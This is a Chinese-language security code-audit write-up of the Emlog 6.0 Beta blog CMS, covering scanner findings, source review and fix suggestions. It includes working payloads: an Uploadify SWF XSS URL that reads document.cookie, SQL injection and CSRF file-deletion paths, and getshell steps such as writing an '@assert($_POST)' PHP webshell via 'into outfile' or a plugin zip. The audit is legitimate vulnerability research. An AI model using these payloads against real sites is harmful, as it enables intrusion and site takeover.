1. 程式人生 > >[程式碼審計]Emlog 6.0 Beta-史上最詳細程式碼審計分析

[程式碼審計]Emlog 6.0 Beta-史上最詳細程式碼審計分析

*2018-11-02 之前這篇文章發到 Freebuf 上面的由於某些原因刪除了,卻被某些爬蟲網站給抓取了,現在公開,希望大家做一個合理的學習,切勿用於非法用途!官網也更新了6.0正式版,現在作為最後公佈也不存在不妥之處,再次宣告:僅供學習參考,任何由個人行為產生的違法犯罪結果自行承擔!

首發地址:http://www.sohu.com/a/246790332_354899

文章涉及漏洞已上交給國家,所以不要多想了
文章基本上完整記錄小東的對此CMS審計過程,或許顯得繁瑣,但程式碼審計的過程就是這樣,發現可能項,然後精心構造去驗證,這過程中我們會遇到很多次碰壁,堅持測試,思維活躍一些,基本都會有所收穫,誠摯希望後來者能夠耐心閱讀下去,當然最好也能夠有所啟發。

大家需要注意的一點是,程式碼審計是為了學習並在SDL中避免發生類似的錯誤,同時也是幫助開源系統修復相關問題,並不是去為了獲得什麼0day~

0x00 Emlog 6.0 beta

官網地址:https://www.emlog.net/

Emlog 6.0 beta下載地址:https://www.emlog.net/download

由於官方限制論壇會員(註冊付費)才可下載,這裡提供一個原版下載地址:https://www.lanzous.com/i1l5gad

檔案校驗:

檔案: C:\Users\stdy\Desktop\emlog_6.0.0.zip
大小: 607725 位元組
修改時間: 2018年8月6日, 20:53:50
MD5: 7844FE6FEAE7AF68052DC878B8811FAC
SHA1: E06A050D2A0AA879DB9F5CFCAA4703B6AC7B8352
CRC32: 4963E489
1
2
3
4
5
6
博主的部落格就是基於此套部落格系統,其實很多圈內大佬都在使用,對於本款CMS的審計文章卻並沒有,小東就來以此CMS作為PHP程式碼審計的封筆之作。

0x01 初步測試
首先,我們得先安裝!安裝成功後的首頁介面:

預設後臺登陸地址:./admin/

登陸成功後:

閒話一句,感覺6.0比5.3.1版本好看太多了~

安裝過後,我們應該儘可能全面蒐集關於此CMS的資訊,這對於我們審計程式碼有很大的幫助。

所以,分析得到此CMS的大致結構,Emlog是一個 MVC 的設計模式,大致的結構如圖:

因此我們主要會分析 admin 和 include 資料夾下的檔案。

資料庫表:

在根目錄的init.php 檔案中

報錯等級指定為7:

<?php //禁用錯誤報告 error_reporting(0); //報告執行時錯誤 error_reporting(E_ERROR | E_WARNING | E_PARSE); //報告所有錯誤 error_reporting(E_ALL); error_reporting(7); /* 設定php錯誤檢測級別 E_ERROR - 致命性執行時錯 (1) E_WARNING - 執行時警告(非致命性錯)(2) E_PARSE - 編譯時解析錯誤 (4) 1+2+4 = 7 */ ?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0x02 使用漏洞掃描器
可能有朋友就會說你為什麼要使用“漏掃”吶?不是程式碼審計嗎?

這裡要糾正一下這個觀點,漏掃其實就是一個自動化黑盒測試,在本地環境下,我們不會影響任何的業務。

通過漏掃出的漏洞能夠方便我們快速定位漏洞位置,這樣是一種高效的方式,這也是在團隊裡的成員通過漏掃Get了百度的幾個高危漏洞給小東的啟示。

這裡使用了一款重型掃描器 AWVS ,得到的報告如下:

不過在本地掃描時,使用的是 XAMPP windows10 PHP5.6的環境,所以導致漏洞報告中很多誤報,漏掃主要掃描出了幾個XSS漏洞和CSRF漏洞

所以我們首先驗證這兩類的漏洞

0x03 文章編輯器儲存性XSS
在後臺的編輯器處,編輯文章./admin/admin_log.php

成功釋出後,來到首頁

進入文章頁後

都彈窗了,這裡大家可能要說沒法兒利用,但是emlog設計了 會員/作者 功能,在emlog中的某些模版中可以前臺註冊會員,會員登入後可以編輯發表文章,評論等等功能。Emlog官方還提供了文章投稿外掛,都是呼叫了官方預設的Kindeditor編輯器,這個編輯器自帶HTML編輯模式,就算不帶這個模式,攻擊者也可以抓包修改達到攻擊目的。

為什麼前臺沒過濾吶?為了文章有支援HTML程式碼輸出,所以對於kindeditor的儲存輸出內容並沒有轉義。

修復建議:參考其他CMS做好文章內容關鍵詞的檢測,並做好過濾或者轉義

0x04 Uploadify SWF XSS
Emlog使用了 uploadify.swf 的方式上傳檔案,檔案路徑 /include/lib/js/uploadify/uploadify.swf

構造Payload:http://www.test.com//include/lib/js/uploadify/uploadify.swf?uploadifyID=00"));}catch%28e%29{alert%281%29;}//%28%22&movieName=%22])}catch(e){if(!window.x){window.x=1;alert(document.cookie)}}//&.swf

效果,可無視瀏覽器filter:

0x05 反射型XSS
此處的XSS主要發生在cookie上,因為某些頁面如 admin/admin_log,admin/sort.php,admin/link.php頁面需要在表單中添加了hidden屬性的token值,而這個token值直接從使用者的cookie中取得,導致了一個反射型XSS

攔截抓包修改cookie中的token值如下:

效果:

其次驗證了 CSRF 漏洞,這個是前臺的搜尋框的CSRF根本沒什麼價值

然後是管理員新增友情連結的XSS,經過驗證並不存在,後臺函式會限制字數

然後就是我們開始進行原始的程式碼審計工作了,主要借用了Seay程式碼審計工具和Rips,這種審計工具主要依靠正則匹配可能導致危險的php函式來作為可能存在漏洞的判斷,半自動化的方式,在一定程度上緩解了程式碼審計的壓力。

0x06 基本函式
首先看了一下檔案操作相關的函式,發現經常用到 View::getView 這一方法,

在include/lib/view.php 檔案中,原始碼如下:

<?php /** * 檢視控制 * @copyright (c) Emlog All Rights Reserved */ class View { public static function getView($template, $ext = '.php') { if (!is_dir(TEMPLATE_PATH)) { emMsg('當前使用的模板已被刪除或損壞,請登入後臺更換其他模板。', BLOG_URL . 'admin/template.php'); } return TEMPLATE_PATH . $template . $ext; } public static function output() { $content = ob_get_clean(); ob_start(); echo $content; ob_end_flush(); exit; } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 同時作為許可權控制的 LoginAuth::checkToken(),在 \include\lib\loginauth.php下約209行開始 /** * 生成token,防禦CSRF攻擊 */ public static function genToken() { $token_cookie_name = 'EM_TOKENCOOKIE_' . md5(substr(AUTH_KEY, 16, 32) . UID); if (isset($_COOKIE[$token_cookie_name])) { return $_COOKIE[$token_cookie_name]; } else { $token = md5(getRandStr(16)); setcookie($token_cookie_name, $token, 0, '/'); return $token; } } /** * 檢查token,防禦CSRF攻擊 */ public static function checkToken(){ $token = isset($_REQUEST['token']) ? addslashes($_REQUEST['token']) : ''; if ($token != self::genToken()) { emMsg('許可權不足,token error'); } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 驗證了Rips掃描出的檔案包含問題(第一次使用Rips),發現無法復現,因為Rips掃描的時候是以檔案形式,並沒有參照程式的嚴格邏輯,導致的誤報! 來到 \admin\admin_log.php 檔案,從第78行開始: //操作文章 if ($action == 'operate_log') { $operate = isset($_REQUEST['operate']) ? $_REQUEST['operate'] : ''; $pid = isset($_POST['pid']) ? $_POST['pid'] : ''; $logs = isset($_POST['blog']) ? array_map('intval', $_POST['blog']) : array(); $sort = isset($_POST['sort']) ? intval($_POST['sort']) : ''; $author = isset($_POST['author']) ? intval($_POST['author']) : ''; $gid = isset($_GET['gid']) ? intval($_GET['gid']) : ''; LoginAuth::checkToken(); if ($operate == '') { emDirect("./admin_log.php?pid=$pid&error_b=1"); } if (empty($logs) && empty($gid)) { emDirect("./admin_log.php?pid=$pid&error_a=1"); } switch ($operate) { case 'del': foreach ($logs as $val) { doAction('before_del_log', $val); $Log_Model->deleteLog($val); doAction('del_log', $val); } $CACHE->updateCache(); if ($pid == 'draft') { emDirect("./admin_log.php?pid=draft&active_del=1"); } else{ emDirect("./admin_log.php?active_del=1"); } break; case 'top': foreach ($logs as $val) { $Log_Model->updateLog(array('top'=>'y'), $val); } emDirect("./admin_log.php?active_up=1"); break; case 'sortop': foreach ($logs as $val) { $Log_Model->updateLog(array('sortop'=>'y'), $val); } emDirect("./admin_log.php?active_up=1"); break; case 'notop': foreach ($logs as $val) { $Log_Model->updateLog(array('top'=>'n', 'sortop'=>'n'), $val); } emDirect("./admin_log.php?active_down=1"); break; case 'hide': foreach ($logs as $val) { $Log_Model->hideSwitch($val, 'y'); } $CACHE->updateCache(); emDirect("./admin_log.php?active_hide=1"); break; ...//中間的程式碼要驗證管理身份,故省略 case 'uncheck': if (ROLE != ROLE_ADMIN) { emMsg('許可權不足!','./'); } $Log_Model->checkSwitch($gid, 'n'); $CACHE->updateCache(); emDirect("./admin_log.php?active_unck=1"); break; } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 那麼我們嘗試越權刪除文章 http://www.test.com/admin/admin_log.php?action=operate_log&operate=del&blog=29&token=994132a26661c8c244a91063c4701a7e 失敗了提示許可權不足,來到\include\model\log_model.php 發現 /** * 刪除文章 * * @param int $blogId */ function deleteLog($blogId) { $author = ROLE == ROLE_ADMIN ? '' : 'and author=' . UID; $this->db->query("DELETE FROM " . DB_PREFIX . "blog where gid=$blogId $author"); //這裡和上一句限制了作者只能刪除自己的文章 if ($this->db->affected_rows() < 1) { emMsg('許可權不足!', './'); } // 評論 $this->db->query("DELETE FROM " . DB_PREFIX . "comment where gid=$blogId"); // 標籤 $this->db->query("UPDATE " . DB_PREFIX . "tag SET gid= REPLACE(gid,',$blogId,',',') WHERE gid LIKE '%" . $blogId . "%' "); $this->db->query("DELETE FROM " . DB_PREFIX . "tag WHERE gid=',' "); // 附件 $query = $this->db->query("select filepath from " . DB_PREFIX . "attachment where blogid=$blogId "); while ($attach = $this->db->fetch_array($query)) { if (file_exists($attach['filepath'])) { $fpath = str_replace('thum-', '', $attach['filepath']); if ($fpath != $attach['filepath']) { @unlink($fpath); } @unlink($attach['filepath']); } } $this->db->query("DELETE FROM " . DB_PREFIX . "attachment where blogid=$blogId"); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 這個越權漏洞不存在,同時看了下面的函式判斷也是做了類似的處理 到這裡其實我們對於整個 CMS 的架構已經較為熟悉了,基本能根據對應函式功能,直接手動找到對應的函式位置。 令人傷心的是,通過 Rips 程式碼審計工具得到的結果,一個都沒復現成功… ###0x07 Seay輔助審計 相信很多人都知道法師的這款工具,主要還是因為中文,用著方便,但是完全依靠正則的方式去匹配函式,只能發現那些函式直接的控制漏洞,邏輯漏洞有時候可以根據逆推可以發現,但這種情況很少。 使用這款工具掃描出來共120個可能的情況(根據經驗98%以上都是沒法復現的),然後一個個排查,有的例如SQL語句反單引號這樣的,很容易就可以判斷給忽律,就不需要考慮。 在 /admin/store.php 看到這樣一串程式碼: 這裡我的思考是,如果在emlog官網有URL跳轉連結的話,那麼就可以構造下載遠端任意的檔案到網站,但是測試了官網沒有跳轉連結,那麼我們嘗試下載別的外掛(連結跳轉等),或者有黑客精心構造了一個外掛或者模版,然後再利用,這也算是一個可行的方案。 此處需要管理員許可權,作為程式碼審計的一個參考思路,不是要發現什麼0day,而是希望大家能夠在程式碼審計方面有所收穫。 (1). SQL注入 對於SQL注入,Seay工具一直都沒準過,這裡小東推薦方式,使用全域性搜尋 $_GET[ 或 $_PSOT[,然後看看是否代入了SQL查詢,然後一一驗證。 然後我發現了這樣一個沒有過濾IP引數 然後到 admin/comment.php 中檢視 再看 delCommentByIp($ip) 函式 由此我們可以確定了SQL注入的存在 驗證如下: (2).一個CSRF+任意檔案刪除 $_GET[]型分析完以後,就尋找$_POST[]的,然後在admin/data.php檔案中找到了如下程式碼 這裡我們發現,並沒有驗證toknen,那麼可以構造csrf頁面,這裡小東就不演示了,直接BURP驗證一下任意檔案刪除吧,關於CSRF,只要沒有呼叫上面基礎函式部分說到的 LoginAuth::checkToken() 方法的,都存在CSRF 這裡就成功刪除了檔案 (3).TAG SQL注入 在POST引數中發現此處並沒有過濾,同時在 deleteTag() 函式中,代入了SQL查詢,因此又是一個SQL注入 來看deleteTag()函式: 又呼叫了getBlogIdsFromTagId()函式,同樣沒有過濾 因此使用抓包驗證一下: 但是其他語句利用時候並沒有回顯,小東不知道什麼原因,沒仔細探究,但是可以採用時間盲注的方式。 至此,利用工具的半自動化審計已經結束,下面準備手工測試 0x08 手工測試 手工測試也不是單純的翻檔案,應當以灰盒測試為主導,從邏輯、許可權、敏感資訊等方面入手 (1).後臺登陸存在暴力破解風險 在這裡,我之前提到過的驗證碼未及時銷燬的歷史問題還存在,此處不再詳細敘述,請參考https://blog.csdn.net/dyboy2017/article/details/78433748 (2).報錯資訊導致物理路徑洩漏 大家不要以為這是小事情,當sql注入存在的時候,我們有機會是可以直接寫shell檔案,安全無小事 一個低許可權的方式,在遊客的條件下測試一下 payload:http://www.test.com/admin/attachment.php?action[]= 原因是:addslashes() expects parameter 1 (3).Cookie可計算 在include/lib/loginauth.php中134行開始 /** * 寫用於登入驗證cookie * * @param int $user_id User ID * @param bool $remember Whether to remember the user or not */ public static function setAuthCookie($user_login, $ispersis = false) { if ($ispersis) { $expiration = time() + 3600 * 24 * 30 * 12; } else { $expiration = null; } $auth_cookie_name = AUTH_COOKIE_NAME; $auth_cookie = self::generateAuthCookie($user_login, $expiration); setcookie($auth_cookie_name, $auth_cookie, $expiration,'/'); } /** * 生成登入驗證cookie * * @param int $user_id user login * @param int $expiration Cookie expiration in seconds * @return string Authentication cookie contents */ private static function generateAuthCookie($user_login, $expiration) { $key = self::emHash($user_login . '|' . $expiration); $hash = hash_hmac('md5', $user_login . '|' . $expiration, $key); $cookie = $user_login . '|' . $expiration . '|' . $hash; return $cookie; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 可以看到此處的cookie都可以直接計算得到,只需要知道根目錄下config.php中的 //auth key define('AUTH_KEY','dx1&CH^En86GZnxd9CLO7GwC0Q5eYHKM450f598bbd148b6a62f7d263623e31c3'); //cookie name define('AUTH_COOKIE_NAME','EM_AUTHCOOKIE_VzfVniPWDqd1LM3BFocnrcjpAGH4lUbz'); 1 2 3 4 即可。 (4).側邊欄儲存性XSS 為了同樣是為了支援HTML程式碼的輸出,沒有轉義對應的指令碼程式碼標籤,導致了儲存性的XSS存在 0x09 Getshell (1).SQL注入拿到shell 如上所講有SQL注入的存在,同時可以獲取到物理路徑,那麼就可以直接寫Shell (2).後臺外掛上傳zip 因為後臺可以直接上傳本地zip檔案,這裡我們去官網下載一個外掛,同時把我們的shell檔案(比如dyboy.php)加入zip,上傳安裝這個外掛就可以了,然後shell地址為:http://www.test.com/content/plugins/外掛名/dyboy.php (3).後臺模版上傳zip 和外掛同樣的原理,這裡的shell地址為:http://www.test.com/content/templates/模版名/dyboy.php (4).備份檔案拿shell 後臺的資料功能處,先備份一個,然後下載到本地,加入SELECT "<?php @assert($_POST['dyboy'])?>" into outfile 'D:\\Server\\htdocs\\safe\\dyboy.php';

然後匯入備份恢復本地資料即可

這樣就在網站個目錄生成了一個dyboy.php的shell

0x10 總結
EMLOG是一個非常小巧輕快的部落格系統,執行佔用資源非常低,所以非常適合博主用作部落格用途,其實只要不開啟會員功能,沒有弱口令就沒有什麼大的威脅。以此文章作為PHP程式碼審計的終稿,文章所述方法同樣適用於其他的CMS程式碼審計和分析,創作不易,也希望本文章能對大家能有所啟示

作者:dyboy2017
來源:CSDN
原文:https://blog.csdn.net/dyboy2017/article/details/84195094
版權宣告:本文為博主原創文章,轉載請附上博文連結!